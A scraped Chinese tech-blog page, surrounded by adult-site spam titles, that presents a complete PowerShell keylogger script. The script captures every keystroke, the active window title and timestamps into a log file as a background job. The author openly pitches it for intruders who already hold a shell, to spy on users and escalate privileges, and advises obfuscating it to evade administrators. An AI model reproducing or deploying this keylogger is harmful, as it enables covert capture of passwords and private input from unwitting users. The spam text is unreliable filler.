成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > PowerShell小技巧之定時記錄操作系統(tǒng)行為

PowerShell小技巧之定時記錄操作系統(tǒng)行為

熱門標(biāo)簽:地圖標(biāo)注的圖案 新鄭電銷機(jī)器人一個月多少錢 如何根據(jù)經(jīng)緯度百度地圖標(biāo)注 印臺區(qū)呼叫中心外呼系統(tǒng) 電話機(jī)器人公司招聘 六寸地圖標(biāo)注點怎么刪除 騰訊地圖標(biāo)注中心怎么標(biāo)注 萬全縣地圖標(biāo)注app 莫拉克電梯系統(tǒng)外呼怎么設(shè)置

作為系統(tǒng)管理員,有些時候是需要記錄系統(tǒng)中的其他用戶的一些操作行為的,例如:當(dāng)系統(tǒng)管理員懷疑系統(tǒng)存在漏洞,且已經(jīng)有被植入后門或者創(chuàng)建隱藏賬戶時,就需要對曾經(jīng)登陸的用戶進(jìn)行監(jiān)控,保存其打開或者操作過的文件?;蛘咴诹硗庖粋€場景,當(dāng)黑客拿下一個普通權(quán)限的shell之后,想看看最近有哪些用戶登陸過,操作過什么,以便根據(jù)用戶習(xí)慣采取進(jìn)一步行動獲取更高權(quán)限,這個時候記錄用戶行為就顯得很重要了。

      可能有讀者覺得此時安裝個監(jiān)控軟件不就行了么,拜托,你入侵別人的系統(tǒng),你裝個監(jiān)控軟件,你把管理員試做無物么?這個時候PowerShell這個vista及其之后Windows操作系統(tǒng)都自帶的強(qiáng)大的命令行就有了用處,系統(tǒng)自帶,不會被管理員發(fā)現(xiàn)異常,腳本不用編譯,如果腳本內(nèi)容再加個密,他們更猜不出是干什么用的,嘿嘿。如果要記錄幾個特性用于記錄啥時候干了什么,無非要記錄的有幾樣內(nèi)容:操作,哪個文件或程序,時間。有這幾個特點就基本上可以掌握用戶的操作習(xí)慣了。
 
      代碼不算太難就不逐句解釋了,有啥問題的讀者可以給我留言詢問,基本上關(guān)鍵語句都有注釋的。代碼如下:

復(fù)制代碼 代碼如下:

 =====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:\key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {
        $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
                $FieldValueArray = [Object[]] @(
                    'GetKeyboardState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))
                $FieldValueArray = [Object[]] @(
                    'MapVirtualKey',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
                $FieldValueArray = [Object[]] @(
                    'ToUnicode',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                $FieldValueArray = [Object[]] @(
                    'GetForegroundWindow',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $ImportDll = $TypeBuilder.CreateType()
            }

            Start-Sleep -Milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed
                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                    {
                        $VirtualKey = $TypeableChar
                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                        #if the key is pressed
                        if (($KeyResult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}
                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}
                            if ($TabKey)       {$LogOutput += '[Tab]'}
                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}
                            if ($DeleteKey)    {$LogOutput += '[Delete]'}
                            if ($EnterKey)     {$LogOutput += '[Enter]'}
                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'}
                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}
                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

                            #check for capslock
                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                            $KeyboardState = New-Object Byte[] 256
                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                            #create a stringbuilder object
                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                            #convert typed characters
                            if ($UnicodeKey -gt 0) {
                                $TypedCharacter = $StringBuilder.ToString()
                                $LogOutput += ('['+ $TypedCharacter +']')
                            }

                            #get the title of the foreground window
                            $TopWindow = $ImportDll::GetForegroundWindow()
                            $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                            #get the current DTG
                            $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

                            #Create a custom object to store results
                            $ObjectProperties = @{'Key Typed' = $LogOutput;
                                                  'Window Title' = $WindowTitle;
                                                  'Time' = $TimeStamp}
                            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
                            #return results
                            Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

                        }
                    }
                }
                catch {}
            }
        }

    $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

    Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

    if ($PSBoundParameters['CollectionInterval'])
    {
        $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
            Stop-Job -Name Keylogger
            Unregister-Event -SourceIdentifier ElapsedAction
            $Sender.Stop()
        } | Out-Null
    }
}

執(zhí)行方式如下圖所示:

執(zhí)行效果,會在指定的目錄里生成log文件,內(nèi)容如下圖所示:

能夠看到里面相關(guān)的擊鍵動作,有興趣的讀者可以猜一下,這段被記錄的操作都干了什么,期間騰訊還推了一次彈窗新聞,無恥啊。

您可能感興趣的文章:
  • linux中 shell 歷史命令記錄功能
  • 用來記錄登錄后使用命令的shell腳本
  • shell將腳本輸出結(jié)果記錄到日志文件的實現(xiàn)
  • PowerShell時間記錄腳本
  • Powershell小技巧之記錄腳本的操作
  • Powershell小技巧之用變量累積記錄錯誤
  • shell如何記錄用戶的IP與命令詳解

標(biāo)簽:南昌 汕頭 襄陽 喀什 疫苗接種 天水 臨汾 湘潭

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PowerShell小技巧之定時記錄操作系統(tǒng)行為》,本文關(guān)鍵詞  PowerShell,小,技巧,之,定時,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PowerShell小技巧之定時記錄操作系統(tǒng)行為》相關(guān)的同類信息!
  • 本頁收集關(guān)于PowerShell小技巧之定時記錄操作系統(tǒng)行為的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    亚洲国产一区在线观看| 国产精品青草久久| 制服.丝袜.亚洲.中文.综合懂| 亚洲天堂黄色| 亚洲欧美日韩另类精品一区二区三区| 亚洲精品综合久久中文字幕| 精品自拍视频在线观看| 欧美成人高潮一二区在线看| 国内久久精品视频| 高潮毛片在线观看| www.狠狠色.com| 国产v片在线观看| 日韩免费不卡视频| 久久久噜噜噜www成人网| 51国偷自产一区二区三区| 午夜dv内射一区二区| 日本在线视频中文字幕| 亚洲人做受高潮| 欧美第一页草草影院浮力| 日韩专区视频网站| 欧洲vs亚洲vs国产| 色妞在线综合亚洲欧美| 999久久久免费精品国产| 99精品全国免费观看视频软件| 亚洲日本三级| 亚洲变态欧美另类捆绑| 国产精品人妖ts系列视频| 性欧美疯狂猛交69hd| 日韩最新中文字幕电影免费看| 91丨九色丨国产| 亚洲深夜福利视频| 精品一区二区三区电影| 成人片在线播放| 亚洲视频在线观看日本a| 国产一卡二卡在线| 国产不卡在线视频| 国产黄色大片在线观看| 国内拍拍自拍视频在线观看| 91丨九色丨蝌蚪丨老版| 精品一区在线观看视频| 亚洲成人黄色影院| 久久成年人视频| 黄视频免费在线看| 免费h精品视频在线播放| 精品人妻少妇一区二区| 给个网站可以在线观看你懂的| 欧美www视频在线观看| 围产精品久久久久久久| 欧美曰成人黄网| 日韩国产成人无码av毛片| 日本免费黄色小视频| 国产精品一区而去| 国产精品第七页| 91精品国产一区二区三密臀| 欧美老少配视频| 九色视频网站在线观看| 久久一区欧美| 三上悠亚av一区二区三区| 蜜臀久久99精品久久久无需会员| 国产aⅴ2021| 国产激情视频一区二区在线观看| 欧美三区视频| 久久综合九色欧美综合狠狠| 日韩欧美一区二区三区在线| 交换做爰国语对白| 黄污视频在线看| 国产大片一区二区三区| 超清av在线| av在线网站免费观看| 国产欧美一区二区视频| 亚洲精品乱码久久久久久动漫| 丰满白嫩尤物一区二区| 亚洲精品**不卡在线播he| 日韩精品一区二区三区高清免费| 一区二区三区欧美| 99热免费观看| 精品国产无码在线观看| 亚洲天堂久久| 中文字幕在线资源| 极品尤物一区二区三区| 欧美成人在线免费观看| 一本加勒比波多野结衣| 日韩激情电影免费看| 欧美18xxxx| 91成人网在线观看| 欧美巨大另类极品videosbest| 天堂久久精品忘忧草| 午夜影院免费观看视频| 日本按摩中出| 欧美婷婷六月丁香综合色| 91精品久久久| 久久久久久一区二区三区| 国产成人精品综合久久久| 日本成人免费在线| 性欧美高清come| 高清欧美精品xxxxx| 久久中文欧美| 亚洲一区二区三区三州| 91精品视频在线免费观看| 久久精品免费看| 色视频网站在线观看| 国产精品分类| 无码人妻精品一区二区三区不卡| 国产成人无码一区二区在线播放| 亚洲动漫第一页| 久久精品a一级国产免视看成人| 亚洲精品一区二区三区不卡| 亚洲一品av免费观看| 黄色一级免费大片| 欧美重口另类videos人妖| 美女福利一区| 国产精品二区影院| 亚洲视频狠狠干| 日b视频在线观看| 亚洲无线一线二线三线区别av| 99热免费精品| 亚洲黑人在线| 正在播放日韩精品| 中文字幕在线免费专区| 人人精品人人爱| 精品久久久久久久久久久下田| 九九九九免费视频| 国产精品99久久免费观看| 69av视频在线播放| 夜夜爽夜夜操| 国产综合av一区二区三区| 精品一区精品二区高清| 国产一区二区日韩精品| 国产在线精品国自产拍免费| 亚洲欧美日韩一区在线观看| 日韩精品视频免费专区在线播放| 国产精品高潮呻吟久久久久| 国产精品一区二区三区免费观看| 成人激情视频网站| 天堂在线中文在线| 99久久香蕉| 国产在线一区二区视频| 日韩视频在线观看免费视频| 午夜视频国产| 日韩av电影在线播放| 欧美一区二区三区视频| 米仓穗香在线观看| a成人v在线| 午夜美女久久久久爽久久| 黄色免费看片| 亚洲狠狠婷婷| 老司机福利在线视频| rebdb初裸写真在线观看| 在线国产日本| av免费看网址| 亚洲天堂网在线观看| 色欧美片视频在线观看| 国产日韩欧美精品综合| 91av国产精品| a毛片在线观看| 亚洲精品国产精品国自产在线| 高清国语自产在线观看| 亚洲国产精品久久久久| 成人午夜av在线| 亚洲国产果冻传媒av在线观看| 久久精品99国产国产精| 美女视频黄免费| 欧美性黄网官网| 成人h动漫精品一区二区器材| 7777精品伊人久久久大香线蕉的| 国产视频二区在线观看| 黑料不打烊so导航| 欧美亚州在线观看| 精品视频在线播放色网色视频| 一区二区在线免费观看视频| 99re99热| 成人免费在线视频网址| 欧美18 19xxx| 国产一级精品视频| av小说天堂网| 红桃av永久久久| 国产综合亚洲精品一区二| 亚洲999一在线观看www| h片在线观看视频免费免费| 精品成人av一区| 91精品视频免费| 国产精品久久久一本精品| 国模精品视频一区二区三区| 久久激情综合网| 日韩欧美高清在线播放| 精品久久中文| 中文字幕在线视频网站| 欧美日本高清一区| 亚洲国产另类 国产精品国产免费| 天天综合天天综合色| 国产91九色视频| 久久久久女教师免费一区| 久久综合久久久| 在线免费观看日韩欧美| 91久久夜色精品国产按摩| 精品久久久久中文字幕小说| 99re8精品视频在线观看| 国产一区二区自拍| 欧美做受69| 免费在线观看av| 欧美成人禁片在线观看网址| 91沈先生在线观看| 一色屋成人免费精品网站| 性高潮久久久久久久| 欧美专区在线播放| 在线播放日韩| 韩国日本一区二区三区| 五月天综合在线| 老司机深夜福利网站| 中文字幕av一区二区三区| 日韩亚洲一区在线| 亚洲av无码国产精品久久不卡| 亚洲在线视频免费观看| 久久青青草原一区二区| 男人在线观看视频| 国产精品网友自拍| 精品免费av在线| 午夜免费福利网站| 国产欧美日韩精品丝袜高跟鞋| 日本免费看黄| 国产又粗又长视频| 激情图片小说一区| 激情影院在线观看| 黄色免费网站在线| 国产午夜精品福利| 成人欧美一区二区三区白人| 久久亚洲一区二区三区四区| 成年人视频网站免费观看| 亚洲在线www| 国产真实久久| 欧美精品一区二区久久婷婷| 97se在线视频| 在线观看一区二区三区视频| 成人在线视频网站| 日本一区二区高清视频| 亚洲资源网你懂的| 91福利国产精品| 亚洲一区区二区| 亚洲国产精品久久久久婷蜜芽| 搜索黄色一级片| 91制片在线观看| 国产精品福利一区| 蜜桃av在线免费观看| 欧美精品一区二区高清在线观看| 午夜在线视频播放| 凹凸日日摸日日碰夜夜爽1| 午夜一区二区三区在线观看| 免费日本一区二区三区视频| 亚洲午夜久久久| 日韩精品一区二区三区电影| 99热这里只有精品在线播放| 欧美激情第一页xxx| 韩国三级在线看| 中文字幕亚洲第一| 国产三级精品三级在线专区| 伊人久久大香线蕉av不卡| 色老头在线一区二区三区| 在线视频资源站| 顶级黑人搡bbw搡bbbb搡| 亚洲偷熟乱区亚洲香蕉av| 一区二区三区精密机械公司| av电影在线免费观看| а√天堂www在线а√天堂视频| jizzjizzjizz孕妇| 成人精品高清在线| 高清视频在线www色| 国产成人综合在线| 日本特黄特色aaa大片免费| 丝袜美腿诱惑一区二区三区| 国产精品一品二品| 99re在线播放| 蜜臀久久99精品久久久画质超高清| 国产视频每日更新| 九九在线观看视频| 久久久久亚洲av无码专区体验| 久久99精品视频| 免费大片黄在线观看视频网站| 800av免费在线观看| 91免费精品国偷自产在线在线| 国产中文字幕免费| 天天干天天摸天天操| 国产美女免费无遮挡| 这里只有精品99re| 三上悠亚在线观看视频| 久久精品成人欧美大片| 美女100%一区| 97精品国产91久久久久久| 91色琪琪电影亚洲精品久久| 国产又粗又猛又爽又黄的视频四季| 国产精品午夜影院| 黄色资源在线看| 一区二区三区日韩精品| 中文字幕在线有码| 成人免费直播live| 午夜亚洲国产au精品一区二区| 90岁老太婆乱淫| 亚洲欧美日韩成人| 亚洲一区二区乱码| 欧美乱大交xxxxx另类电影| silk一区二区三区精品视频| 国产精品一区2区3区| 久久综合久久鬼色中文字| 国产乱码精品一区二区亚洲| 日韩av有码| 国产又黄又猛又粗又爽| 老司机福利在线观看| 在线麻豆国产传媒1国产免费| 污污动漫在线观看| baoyu135国产精品免费| 亚洲午夜极品| 一区二区福利视频| 中文精品一区二区三区| 久久天堂av综合合色蜜桃网| 成人亚洲欧美一区二区三区| av免费在线免费| 国产精品久久观看| 中文亚洲视频在线| 久久免费区一区二区三波多野| 国产又粗又猛又爽又黄的视频小说| 精品日韩在线视频| а√天堂www在线а√天堂视频| 久久久女女女女999久久| 人人妻人人澡人人爽人人欧美一区| 国产99免费视频| 国产福利一区在线| 久久9999久久免费精品国产| 久草视频在线资源| 日韩欧中文字幕|